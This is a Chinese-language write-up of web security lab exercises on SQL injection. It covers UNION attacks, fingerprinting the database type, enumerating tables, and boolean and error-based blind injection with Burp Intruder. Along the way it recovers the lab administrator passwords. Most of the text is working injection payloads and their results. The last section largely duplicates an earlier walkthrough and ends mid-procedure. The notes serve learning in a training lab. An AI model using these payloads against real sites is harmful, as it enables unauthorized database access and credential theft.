本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。
实验页面下面都有视频教程,很细 建议观看学习。笔记主要为记录过程,有错误的地方欢迎师傅们指正~
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。
要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。
category
参数,赋予它值'+UNION+SELECT+NULL--
。观察是否发生错误。category
参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
'+ORDER+BY+3--
image-20210731163649292
'+UNION+SELECT+NULL,NULL,NULL--
image-20210731163552066
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。
实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。
category
参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+'abcdef',NULL,NULL--
任务:使数据库检索字符串:'X8VH6Z'
image-20210731164553952
'+UNION+SELECT+NULL,NULL,'X8VH6Z'--
image-20210731165006938
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。
数据库包含一个名为 的不同表users
,其列名为username
和password
。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator
用户身份登录。
'+UNION+SELECT+'abc','def'--
。users
表的内容:'+UNION+SELECT+username,+password+FROM+users--
使用'+UNION+SELECT+username,password+FROM+users--
获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja
image-20210731165512802
使用得到的用户名密码登录
image-20210731165741362
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
数据库包含一个名为 的不同表users
,其列名为username
和password
。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator
用户身份登录。
category
参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
users
表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
'+order+by+2--
判断列数为2
image-20210731171105351
'+union+select+null,'aaa'--
判断回显字段是第二个
image-20210731171130566
'+union+select+null,username+||+'~'+||+password+FROM+users--
读取密码
image-20210731171242222
登录administrator~l32y00qu4gkslzqy9d0g
image-20210731171430777
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
'+ORDER+BY+2--
判断列数为2
image-20210731171919099
union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列
' UNION SELECT 'aa', NULL--
如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。
在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。
image-20210801004438926
测试' UNION SELECT 'aa', 'aa'--
报错Internal Server Error
image-20210801004727399
可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement
Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/
oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/
在 Oracle 中,SELECT
语句必须有一个FROM
子句。但是,某些查询不需要任何表
Oracle 为您提供了DUAL
的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。
所以我们为union select后加上from DUAL子句
' UNION SELECT 'aa', 'aa' FROM DUAL--
显示成功
image-20210801005142291
参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句
SELECT banner FROM v$version
SELECT version FROM v$instance
所以我们的payload是
' UNION SELECT banner, 'aa' FROM v$instance--
image-20210801005711456
刷新页面会显示恭喜解决
image-20210801005934960
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
'+UNION+SELECT+@@version,+NULL#
同样的思路,先确定列数,通过网页显示内容可以猜测是2列
' ORDER BY 2--
查询报错
image-20210801011242670
我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功
' ORDER BY 2#
查询成功
image-20210801011412205
' UNION SELECT 'AAA', 'BBB'#
查询
image-20210801011553835
现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载
SELECT @@version
' UNION SELECT @@version, 'BBB'#
image-20210801011807924
成功解决
image-20210801011853470
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
要解决实验室,请以administrator
用户身份登录。
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--
。'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
administrator
用户的密码,并使用它登录。1 确定列数
' ORDER BY 2--
响应200
image-20210801012224894
2 确定每列的字段数据类型
' UNION SELECT 'AA', 'CC'--
image-20210801012347821
3 查询数据库类型
在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型
您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。
甲骨文 | SELECT banner FROM v$versionSELECT version FROM v$instance |
---|---|
微软 | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
' UNION SELECT banner, 'CC' FROM v$version--
错误,说明不是Oracle
' UNION SELECT @@version, 'CC'--
错误,说明不是MySQL和mssql
' UNION SELECT version(), 'CC'--
成功,说明是PostgreSQL
image-20210801012655480
4 检索数据库中的表列表
在我们的SQL 注入备忘单上找到一些有用的有效负载
PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
---|---|
Google搜索information_schema.tables PostgreSQL
找到我们需要的列名
https://www.postgresql.org/docs/9.1/information-schema.html
选择columns查看所有的表目录、表架构、表名、列名等
image-20210801015648239
image-20210801015912597
我们需要的是表名,table_name
检索数据库中的表列表
' UNION SELECT table_name, 'CC' FROM information_schema.tables--
查询数据库表名
image-20210801020239433
5 查找包含用户凭据的表的名称
我们找到users_随机字符的表users_nvjpgq
,假设这是我们所需要的存放用户名密码的表
6 检索表中列的详细信息
现在我们需要输出表的列名
在我们的SQL 注入备忘单上找到一些有用的有效负载
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'
使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL
,得到column_name
https://www.postgresql.org/docs/9.5/infoschema-columns.html
image-20210801020841687
检索表中列的详细信息
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'
7 查找包含用户名和密码的列的名称
很明显,我们需要的列名应该是username_viaxls和password_senvzp
image-20210801021056575
8 检索所有用户的用户名和密码
' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--
查找用户名密码字段值
image-20210801021505496
9 找到administrator
用户的密码,并使用它登录
administrator/hiny5a8q5m62aqhoyze9
image-20210801022127961
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
要解决实验室,请以administrator
用户身份登录。
和上一个实验类似,也是找数据库中的用户名密码,步骤是一样的。
1 确定列数2
' ORDER BY 2--
image-20210801022946506
2 确定每列的字段数据类型-字符型
' UNION SELECT 'AA','CC' FROM DUAL--
image-20210801023111143
3 查询数据库类型
' UNION SELECT banner,'CC' FROM v$version--
image-20210801023233073
4 检索数据库中的表列表
查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句
SELECT * FROM all_tables
Google搜索all_tables oracle
,找到TABLE_NAME
https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286
image-20210801023526544
检索数据库中的表列表
' UNION SELECT TABLE_NAME, NULL FROM all_tables--
image-20210801024902377
5 查找包含用户凭据的表的名称
USERS_SOMDZN
6 检索表中列的详细信息
查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Google搜索all_tab_columns
,找到COLUMN_NAME
image-20210801025138919
检索表中列的详细信息
' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--
image-20210801025301767
7 查找包含用户名和密码的列的名称
USERNAME_ETJAFO和PASSWORD_RRYQDL
8 检索所有用户的用户名和密码
' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--
image-20210801025451647
9 找到administrator
用户的密码,并使用它登录
administrator/7710s0z9vh37a81c1n23
image-20210801025754289
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
不返回 SQL 查询的结果,也不显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。
数据库包含一个名为 的不同表users
,其列名为username
和password
。您需要利用SQL盲注漏洞找出administrator
用户的密码。
要解决实验室,请以administrator
用户身份登录。
进入实验室
TrackingId
cookie的请求。为简单起见,假设 cookie 的原始值为TrackingId=xyz
。TrackingId
cookie,将其更改为:TrackingId=xyz' AND '1'='1
。验证响应中是否显示“欢迎回来”消息。TrackingId=xyz' AND '1'='2
。验证“欢迎回来”消息没有出现在响应中。这演示了如何测试单个布尔条件并推断结果。TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
。验证条件是否为真,确认有一个名为 的表users
。TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
。验证条件是否为真,确认存在名为 的用户administrator
。administrator
用户的密码中有多少个字符。为此,请将值更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
。此条件应为真,确认密码长度大于 1 个字符。TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
。然后发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长。TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
。这使用该SUBSTRING()
函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。a
在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a
,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
administrator
用户登录。在题目的描述中得知数据库对cookie 值进行 SQL 查询,当sql语句执行成功时,会显示Welcome back!欢迎回来
1 确认参数易受盲注SQL注入的影响
在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId
设想我们的查询方式如下:
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed'
判断条件如下:
-->如果查询的TrackingId 值存在,则查询会返回一个值,然后我们会收到一条welcome back消息
-->但是如果查询的TrackingId 值不存在,则查询不返回所有,然后我们没有收到welcome back消息
image-20210801113630688
在执行错误的时候不会显示
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed''
多一个单引号引发错误
image-20210801113830531
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'
-->where子句的结果将会永远评估为真,将导致显示welcome back
' and '1'='1
返回welcome back,说明SQL语句拼接成功执行
image-20210801152128666
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'
-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back
' and '1'='2
不会返回welcome back,说明SQL语句拼接成功执行
image-20210801152205866
2 确认用户表users存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'
-->如果为真,返回welcome back,说明users表存在
--》否则,users表不存在
' and (select 'x' from users LIMIT 1)='x'--
,返回了welcome back,说明users表存在
image-20210801152912341
3 确定用户名administrator字段值存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,说明administrator的用户名存在
--》否则,administrator的用户名不存在
' and (SELECT 'a' FROM users WHERE username='administrator')='a'--
,返回了welcome back,说明存在名为administrator的用户名存在
image-20210801153549743
4 确定administrator
用户的密码中有多少个字符(长度)
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
,返回了welcome back,确认密码长度大于 1 个字符
image-20210801154024172
发送一系列后续值来测试不同的密码长度。
发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--
,返回了welcome back,确认密码长度大于 1 0个字符。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--
,没有返回welcome back,确认密码长度在 1 0-20个字符之间。
image-20210801154300848
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--
,返回welcome back,确认密码长度在 15-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--
,返回welcome back,确认密码长度在 19-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--
,返回welcome back,确认密码长度20个字符。
可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。
5 测试每个位置的字符以确定其值。
SUBSTRING(password,m,n)函数解释
password是字段名,m是检索的起始位,最左边从1开始,n是数量。
如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'
这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
单个字符检测思路如下
测试密码第一位是否是字符a
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--
,没有返回welcome back,确认密码第一个字符不是a
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
image-20210801155127701
对a值添加标记
image-20210801155237390
假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801155735950
点击开始攻击
image-20210801155904456
为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
image-20210801160001853
得到第一个字符是1
image-20210801160038969
6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。
为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--
得到第二位字符是m
image-20210801160535637
7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码
OR super 7 使用burpsuite的Cluster bomb爆破
将决定取字符位置的数据添加变量
image-20210801161117845
攻击类型选择Cluster bomb
image-20210801161151950
选择payloads,payload1设置为1-20
image-20210801161233802
payload2设置为0-9和a-z和A-Z
image-20210801161321982
然后options中添加Grep-Match
image-20210801161401912
开始攻击
image-20210801161459163
将结果整理得到密码
1mwa6880vdcepua8566j
8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator
用户登录。
image-20210801161653485
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序返回自定义错误消息。
数据库包含一个名为 的不同表users
,其列名为username
和password
。您需要利用SQL盲注漏洞找出administrator
用户的密码。
要解决实验室,请以administrator
用户身份登录。
1.访问店铺首页,使用Burp Suite拦截修改包含TrackingId
的cookie请求。
image-20210801223206824
2.修改TrackingId
,为其附加一个单引号:TrackingId=bhpYlLKIavhTKuTR'
. 验证收到错误消息。
image-20210801223258153
3.现在将其更改为两个引号:TrackingId=bhpYlLKIavhTKuTR''
. 验证错误消失。这表明语法错误(在本例中为未关闭的引号)对响应具有可检测的影响。
image-20210801223457901
4.您现在需要确认服务器将注入解释为 SQL 查询,即错误是 SQL 语法错误而不是任何其他类型的错误。为此,您首先需要使用有效的 SQL 语法构造一个子查询。尝试提交:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'
. 在这种情况下,请注意查询仍然无效。这可能是由于数据库类型 - 尝试在查询中指定一个可预测的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'
。由于您不再收到错误消息,这表明目标可能正在使用 Oracle 数据库,这需要所有SELECT
语句显式指定表名
TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'
image-20210801223656385
TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'
image-20210801223837044
5.既然您已经制作了看似有效的查询,请尝试提交无效查询,同时仍保留有效的 SQL 语法。例如,尝试查询一个不存在的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+ch4nge)||'
。这一次,返回一个错误。这种行为强烈表明您的注入正在被后端作为 SQL 查询处理。
image-20210801223922336
6.只要确保始终注入语法上有效的 SQL 查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证该users
表是否存在,请发送以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
. 由于此查询未返回错误,因此您可以推断此表确实存在。请注意,WHERE ROWNUM = 1
这里的条件很重要,以防止查询返回多于一行,这会破坏我们的串联。
image-20210801224142781
7.您还可以利用此行为来测试条件。首先,提交以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
. 验证收到错误消息。
image-20210801224509518
8.现在将其更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
。验证错误是否消失。这表明您可以根据特定条件的真实性有条件地触发错误。该CASE
语句测试一个条件,如果条件为真,则计算为一个表达式,如果条件为假,则计算为另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件1=1
和1=2
,当条件为true时接收到错误。
a
9.您可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询来检查用户名是否administrator
存在:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
。验证条件是否为真(接收到错误),确认存在名为 的用户administrator
。
image-20210801224930055
10.下一步是确定administrator
用户的密码中有多少个字符。为此,请将值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
。此条件应为真,确认密码长度大于 1 个字符。
image-20210801225039704
11.发送一系列后续值来测试不同的密码长度。发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
。然后发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当错误消失时),您就确定了密码的长度,实际上是 20 个字符长。
image-20210801225121651
12.确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
13.在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
14.在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
。这使用该SUBSTR()
函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。
image-20210801225222938
15.使用Cluster bomb模式进行爆破
a
在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a
,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
image-20210801225421216
16.要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。转到 Payloads 选项卡,payload1位置使用数字1-21,step为1,最小长度1,最大长度2;payload2位置选择“brute forcer”,然后把最小最大长度设置为1。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801230236364
image-20210801225704001
17.通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。
18.查看攻击结果,找出第一个位置的字符值。发生错误时,应用程序返回 HTTP 500 状态代码,正常情况下返回 HTTP 200 状态代码。Intruder 结果中的“Status”列显示了 HTTP 状态代码,因此您可以轻松找到该列中带有 500 的行。
image-20210801234926927
密码r0eao1nxo838s0hpw0q0
22.在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator
用户登录。
image-20210801235120268
根据实验描述可以知道该实验和上一个的差别在于判断条件从正确响应welcome back变成正确无不同响应,错误会看到错误
1 确认参数易受盲注SQL注入的影响
在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId
设想我们的查询方式如下:
select tracking-id from tracking-table where TrackingId = 'JoLC8BabJWZtfvY0'
判断条件如下:
-->如果查询的TrackingId 值存在,则查询结果不会有什么特殊结果
-->但是如果查询的TrackingId 值不存在,则查询结果同样不会有什么特殊结果
-->但是如果我们输入的sql语句有错误,会响应500 Internal Server Error
image-20210801113630688
在执行错误的时候不会显示
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and SELECT IF(1,(select 'x' from users LIMIT 1)='x','a')='a'--'
多一个单引号引发错误
image-20210801113830531
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'
-->where子句的结果将会永远评估为真,将导致显示welcome back
' and '1'='1
返回welcome back,说明SQL语句拼接成功执行
image-20210801152128666
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'
-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back
' and '1'='2
不会返回welcome back,说明SQL语句拼接成功执行
image-20210801152205866
2 确认用户表users存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'
-->如果为真,返回welcome back,说明users表存在
--》否则,users表不存在
' and (select 'x' from users LIMIT 1)='x'--
,返回了welcome back,说明users表存在
image-20210801152912341
3 确定用户名administrator字段值存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,说明administrator的用户名存在
--》否则,administrator的用户名不存在
' and (SELECT 'a' FROM users WHERE username='administrator')='a'--
,返回了welcome back,说明存在名为administrator的用户名存在
image-20210801153549743
4 确定administrator
用户的密码中有多少个字符(长度)
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
,返回了welcome back,确认密码长度大于 1 个字符
image-20210801154024172
发送一系列后续值来测试不同的密码长度。
发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--
,返回了welcome back,确认密码长度大于 1 0个字符。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--
,没有返回welcome back,确认密码长度在 1 0-20个字符之间。
image-20210801154300848
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--
,返回welcome back,确认密码长度在 15-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--
,返回welcome back,确认密码长度在 19-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--
,返回welcome back,确认密码长度20个字符。
可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。
5 测试每个位置的字符以确定其值。
SUBSTRING(password,m,n)函数解释
password是字段名,m是检索的起始位,最左边从1开始,n是数量。
如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'
这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
单个字符检测思路如下
测试密码第一位是否是字符a
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--
,没有返回welcome back,确认密码第一个字符不是a
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
image-20210801155127701
对a值添加标记
image-20210801155237390
假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801155735950
点击开始攻击
image-20210801155904456
为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
image-20210801160001853
得到第一个字符是1
image-20210801160038969
6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。
为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--
得到第二位字符是m
image-20210801160535637
7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码
OR super 7 使用burpsuite的Cluster bomb爆破
将决定取字符位置的数据添加变量
image-20210801161117845
攻击类型选择Cluster bomb
image-20210801161151950
